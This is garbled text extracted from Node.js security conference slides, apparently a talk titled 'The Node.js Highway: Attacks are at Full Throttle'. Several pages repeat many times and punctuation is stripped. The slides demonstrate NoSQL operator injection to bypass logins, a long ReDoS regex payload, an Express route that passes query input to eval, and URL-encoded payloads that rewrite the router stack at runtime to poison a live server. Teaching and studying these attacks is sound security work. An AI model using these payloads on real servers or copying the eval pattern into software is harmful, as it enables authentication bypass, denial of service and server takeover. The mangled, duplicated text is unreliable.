d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|

d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|

d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|

d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|

d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d)$

httplocalhost49090user[$gt]=amppass[$gt]=

Web server

Recap ndash in Nodejs there is no web server

Traditional web-servers (IIS Tomcat) had strict

separation between the application the server and the

OS

Run-time Server Poisoning

ldquoIn most web servers every request spawns a new

child process and everything happening within that

process is terminated when the process ends

However since the whole Nodejs server is running in

a single thread then if this thread is corrupted then

the behavior of the server can be altered

These modifications will not last just for the duration of

the corrupting request but for all subsequent

requestsrdquo

httplabcsttueedl93 -

Analysis of Nodejs platform web application security

Karl Duumluumlna

Eval

EVALuates a string At the context of the current applicative

user within the context of the application

In netjava eval canrsquot control the web server or other usersrsquo

threads

Nodejs is serverless so corrupting ldquocurrentrdquo thread harms

all users

Express

Expressjs is a Nodejs web application framework

designed for building single-page multi-page and hybrid

web applications[1]

wikipedia

Example code

appget(add function(reqres) var data=reqquery return resrender(index message eval(reqquerya + + + reqqueryb))

httpserveradda=3ampb=8

11

Routing

httplocalhost49090adda=3ampb=8

Server Routing

Maintained in an ordered list (although called

ldquostackrdquo by express)

Routing Stack

Add

Remove

pageid

abd

Func1()

Func2()

Func3()

Func4()

Server Routing

The stack is accessible in runtime

app_routerstack

httplocalhost49090adda=3ampb=JSONstringify(

app_routerstack)

Run-time Server Poisoning

The stack is accessible in runtime ndash both read and

write ndash so we will replace the existing routing with

a new one

This will affect all users connecting to the system

with no apparent effect on the source code

Server Routing

Maintained in an ordered list (although called

ldquostackrdquo by express)

Routing Stack

Remove

pageid

abd

Func1()

Func2()

Func3()

Func4()

Add Add

Func5()

Server Routing

app_routerstacksplice(31) remove routing entry

appget(addfunction(req res) add new routing

return resrender(index

message reqquerya reqqueryb

)

)

Server Routing

httplocalhost49090adda=3ampb=8

httplocalhost49090adda=3ampb=app_routerstacksplice

(31)appget(27add2720function(req20res)20

7breturn20resrender(27index27207bmessag

e20reqquerya2020reqqueryb7d)7d)

httplocalhost49090adda=3ampb=8

Questions

Page 29: The Node.js Highway: Attacks are at Full Throttle · applications (DB queries) and applications with a lot of user interaction (web apps) • Doesn’t work well for CPU intensive

Title

JSON-base SQL Injection

bull This can lead to Regular Expression Denial of Service through

the ldquousernamerdquo ldquo$regexrdquo ldquohelliphellip

bull So always validate the input length structure and permitted

characters

bull Remembering that Nodejs is highly sensitive to CPU-intensive

tasks and therersquos a single thread for user-code ndash ReDoS is really

bad

33

dbusersfind(username username)

DEMO

httplocalhost49090user=adminamppass[$regex]=^(a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|

a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|

a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|

a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|

a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|

a|a|a|a|a|a|a|a|a|a)(d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d

|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|

d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|

d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|

d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|

d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|

d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|

d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d)$

httplocalhost49090user[$gt]=amppass[$gt]=

Web server

Recap ndash in Nodejs there is no web server

Traditional web-servers (IIS Tomcat) had strict

separation between the application the server and the

OS

Run-time Server Poisoning

ldquoIn most web servers every request spawns a new

child process and everything happening within that

process is terminated when the process ends

However since the whole Nodejs server is running in

a single thread then if this thread is corrupted then

the behavior of the server can be altered

These modifications will not last just for the duration of

the corrupting request but for all subsequent

requestsrdquo

httplabcsttueedl93 -

Analysis of Nodejs platform web application security

Karl Duumluumlna

Eval

EVALuates a string At the context of the current applicative

user within the context of the application

In netjava eval canrsquot control the web server or other usersrsquo

threads

Nodejs is serverless so corrupting ldquocurrentrdquo thread harms

all users

Express

Expressjs is a Nodejs web application framework

designed for building single-page multi-page and hybrid

web applications[1]

wikipedia

Example code

appget(add function(reqres) var data=reqquery return resrender(index message eval(reqquerya + + + reqqueryb))

httpserveradda=3ampb=8

11

Routing

httplocalhost49090adda=3ampb=8

Server Routing

Maintained in an ordered list (although called

ldquostackrdquo by express)

Routing Stack

Add

Remove

pageid

abd

Func1()

Func2()

Func3()

Func4()

Server Routing

The stack is accessible in runtime

app_routerstack

httplocalhost49090adda=3ampb=JSONstringify(

app_routerstack)

Run-time Server Poisoning

The stack is accessible in runtime ndash both read and

write ndash so we will replace the existing routing with

a new one

This will affect all users connecting to the system

with no apparent effect on the source code

Server Routing

Maintained in an ordered list (although called

ldquostackrdquo by express)

Routing Stack

Remove

pageid

abd

Func1()

Func2()

Func3()

Func4()

Add Add

Func5()

Server Routing

app_routerstacksplice(31) remove routing entry

appget(addfunction(req res) add new routing

return resrender(index

message reqquerya reqqueryb

)

)

Server Routing

httplocalhost49090adda=3ampb=8

httplocalhost49090adda=3ampb=app_routerstacksplice

(31)appget(27add2720function(req20res)20

7breturn20resrender(27index27207bmessag

e20reqquerya2020reqqueryb7d)7d)

httplocalhost49090adda=3ampb=8

Questions

Page 30: The Node.js Highway: Attacks are at Full Throttle · applications (DB queries) and applications with a lot of user interaction (web apps) • Doesn’t work well for CPU intensive

JSON-base SQL Injection

bull This can lead to Regular Expression Denial of Service through

the ldquousernamerdquo ldquo$regexrdquo ldquohelliphellip

bull So always validate the input length structure and permitted

characters

bull Remembering that Nodejs is highly sensitive to CPU-intensive

tasks and therersquos a single thread for user-code ndash ReDoS is really

bad

33

dbusersfind(username username)

DEMO

httplocalhost49090user=adminamppass[$regex]=^(a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|

a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|

a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|

a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|

a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|

a|a|a|a|a|a|a|a|a|a)(d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d

|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|

d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|

d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|

d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|

d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|

d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|

d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d)$

httplocalhost49090user[$gt]=amppass[$gt]=

Web server

Recap ndash in Nodejs there is no web server

Traditional web-servers (IIS Tomcat) had strict

separation between the application the server and the

OS

Run-time Server Poisoning

ldquoIn most web servers every request spawns a new

child process and everything happening within that

process is terminated when the process ends

However since the whole Nodejs server is running in

a single thread then if this thread is corrupted then

the behavior of the server can be altered

These modifications will not last just for the duration of

the corrupting request but for all subsequent

requestsrdquo

httplabcsttueedl93 -

Analysis of Nodejs platform web application security

Karl Duumluumlna

Eval

EVALuates a string At the context of the current applicative

user within the context of the application

In netjava eval canrsquot control the web server or other usersrsquo

threads

Nodejs is serverless so corrupting ldquocurrentrdquo thread harms

all users

Express

Expressjs is a Nodejs web application framework

designed for building single-page multi-page and hybrid

web applications[1]

wikipedia

Example code

appget(add function(reqres) var data=reqquery return resrender(index message eval(reqquerya + + + reqqueryb))

httpserveradda=3ampb=8

11

Routing

httplocalhost49090adda=3ampb=8

Server Routing

Maintained in an ordered list (although called

ldquostackrdquo by express)

Routing Stack

Add

Remove

pageid

abd

Func1()

Func2()

Func3()

Func4()

Server Routing

The stack is accessible in runtime

app_routerstack

httplocalhost49090adda=3ampb=JSONstringify(

app_routerstack)

Run-time Server Poisoning

The stack is accessible in runtime ndash both read and

write ndash so we will replace the existing routing with

a new one

This will affect all users connecting to the system

with no apparent effect on the source code

Server Routing

Maintained in an ordered list (although called

ldquostackrdquo by express)

Routing Stack

Remove

pageid

abd

Func1()

Func2()

Func3()

Func4()

Add Add

Func5()

Server Routing

app_routerstacksplice(31) remove routing entry

appget(addfunction(req res) add new routing

return resrender(index

message reqquerya reqqueryb

)

)

Server Routing

httplocalhost49090adda=3ampb=8

httplocalhost49090adda=3ampb=app_routerstacksplice

(31)appget(27add2720function(req20res)20

7breturn20resrender(27index27207bmessag

e20reqquerya2020reqqueryb7d)7d)

httplocalhost49090adda=3ampb=8

Questions

Page 31: The Node.js Highway: Attacks are at Full Throttle · applications (DB queries) and applications with a lot of user interaction (web apps) • Doesn’t work well for CPU intensive

DEMO

httplocalhost49090user=adminamppass[$regex]=^(a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|

a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|

a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|

a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|

a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|

a|a|a|a|a|a|a|a|a|a)(d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d

|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|

d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|

d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|

d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|

d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|

d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|

d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d)$

httplocalhost49090user[$gt]=amppass[$gt]=

Web server

Recap ndash in Nodejs there is no web server

Traditional web-servers (IIS Tomcat) had strict

separation between the application the server and the

OS

Run-time Server Poisoning

ldquoIn most web servers every request spawns a new

child process and everything happening within that

process is terminated when the process ends

However since the whole Nodejs server is running in

a single thread then if this thread is corrupted then

the behavior of the server can be altered

These modifications will not last just for the duration of

the corrupting request but for all subsequent

requestsrdquo

httplabcsttueedl93 -

Analysis of Nodejs platform web application security

Karl Duumluumlna

Eval

EVALuates a string At the context of the current applicative

user within the context of the application

In netjava eval canrsquot control the web server or other usersrsquo

threads

Nodejs is serverless so corrupting ldquocurrentrdquo thread harms

all users

Express

Expressjs is a Nodejs web application framework

designed for building single-page multi-page and hybrid

web applications[1]

wikipedia

Example code

appget(add function(reqres) var data=reqquery return resrender(index message eval(reqquerya + + + reqqueryb))

httpserveradda=3ampb=8

11

Routing

httplocalhost49090adda=3ampb=8

Server Routing

Maintained in an ordered list (although called

ldquostackrdquo by express)

Routing Stack

Add

Remove

pageid

abd

Func1()

Func2()

Func3()

Func4()

Server Routing

The stack is accessible in runtime

app_routerstack

httplocalhost49090adda=3ampb=JSONstringify(

app_routerstack)

Run-time Server Poisoning

The stack is accessible in runtime ndash both read and

write ndash so we will replace the existing routing with

a new one

This will affect all users connecting to the system

with no apparent effect on the source code

Server Routing

Maintained in an ordered list (although called

ldquostackrdquo by express)

Routing Stack

Remove

pageid

abd

Func1()

Func2()

Func3()

Func4()

Add Add

Func5()

Server Routing

app_routerstacksplice(31) remove routing entry

appget(addfunction(req res) add new routing

return resrender(index

message reqquerya reqqueryb

)

)

Server Routing

httplocalhost49090adda=3ampb=8

httplocalhost49090adda=3ampb=app_routerstacksplice

(31)appget(27add2720function(req20res)20

7breturn20resrender(27index27207bmessag

e20reqquerya2020reqqueryb7d)7d)

httplocalhost49090adda=3ampb=8

Questions

Page 32: The Node.js Highway: Attacks are at Full Throttle · applications (DB queries) and applications with a lot of user interaction (web apps) • Doesn’t work well for CPU intensive

Web server

Recap ndash in Nodejs there is no web server

Traditional web-servers (IIS Tomcat) had strict

separation between the application the server and the

OS

Run-time Server Poisoning

ldquoIn most web servers every request spawns a new

child process and everything happening within that

process is terminated when the process ends

However since the whole Nodejs server is running in

a single thread then if this thread is corrupted then

the behavior of the server can be altered

These modifications will not last just for the duration of

the corrupting request but for all subsequent

requestsrdquo

httplabcsttueedl93 -

Analysis of Nodejs platform web application security

Karl Duumluumlna

Eval

EVALuates a string At the context of the current applicative

user within the context of the application

In netjava eval canrsquot control the web server or other usersrsquo

threads

Nodejs is serverless so corrupting ldquocurrentrdquo thread harms

all users

Express

Expressjs is a Nodejs web application framework

designed for building single-page multi-page and hybrid

web applications[1]

wikipedia

Example code

appget(add function(reqres) var data=reqquery return resrender(index message eval(reqquerya + + + reqqueryb))

httpserveradda=3ampb=8

11

Routing

httplocalhost49090adda=3ampb=8

Server Routing

Maintained in an ordered list (although called

ldquostackrdquo by express)

Routing Stack

Add

Remove

pageid

abd

Func1()

Func2()

Func3()

Func4()

Server Routing

The stack is accessible in runtime

app_routerstack

httplocalhost49090adda=3ampb=JSONstringify(

app_routerstack)

Run-time Server Poisoning

The stack is accessible in runtime ndash both read and

write ndash so we will replace the existing routing with

a new one

This will affect all users connecting to the system

with no apparent effect on the source code

Server Routing

Maintained in an ordered list (although called

ldquostackrdquo by express)

Routing Stack

Remove

pageid

abd

Func1()

Func2()

Func3()

Func4()

Add Add

Func5()

Server Routing

app_routerstacksplice(31) remove routing entry

appget(addfunction(req res) add new routing

return resrender(index

message reqquerya reqqueryb

)

)

Server Routing

httplocalhost49090adda=3ampb=8

httplocalhost49090adda=3ampb=app_routerstacksplice

(31)appget(27add2720function(req20res)20

7breturn20resrender(27index27207bmessag

e20reqquerya2020reqqueryb7d)7d)

httplocalhost49090adda=3ampb=8

Questions

Page 33: The Node.js Highway: Attacks are at Full Throttle · applications (DB queries) and applications with a lot of user interaction (web apps) • Doesn’t work well for CPU intensive

Run-time Server Poisoning

ldquoIn most web servers every request spawns a new

child process and everything happening within that

process is terminated when the process ends

However since the whole Nodejs server is running in

a single thread then if this thread is corrupted then

the behavior of the server can be altered

These modifications will not last just for the duration of

the corrupting request but for all subsequent

requestsrdquo

httplabcsttueedl93 -

Analysis of Nodejs platform web application security

Karl Duumluumlna

Eval

EVALuates a string At the context of the current applicative

user within the context of the application

In netjava eval canrsquot control the web server or other usersrsquo

threads

Nodejs is serverless so corrupting ldquocurrentrdquo thread harms

all users

Express

Expressjs is a Nodejs web application framework

designed for building single-page multi-page and hybrid

web applications[1]

wikipedia

Example code

appget(add function(reqres) var data=reqquery return resrender(index message eval(reqquerya + + + reqqueryb))

httpserveradda=3ampb=8

11

Routing

httplocalhost49090adda=3ampb=8

Server Routing

Maintained in an ordered list (although called

ldquostackrdquo by express)

Routing Stack

Add

Remove

pageid

abd

Func1()

Func2()

Func3()

Func4()

Server Routing

The stack is accessible in runtime

app_routerstack

httplocalhost49090adda=3ampb=JSONstringify(

app_routerstack)

Run-time Server Poisoning

The stack is accessible in runtime ndash both read and

write ndash so we will replace the existing routing with

a new one

This will affect all users connecting to the system

with no apparent effect on the source code

Server Routing

Maintained in an ordered list (although called

ldquostackrdquo by express)

Routing Stack

Remove

pageid

abd

Func1()

Func2()

Func3()

Func4()

Add Add

Func5()

Server Routing

app_routerstacksplice(31) remove routing entry

appget(addfunction(req res) add new routing

return resrender(index

message reqquerya reqqueryb

)

)

Server Routing

httplocalhost49090adda=3ampb=8

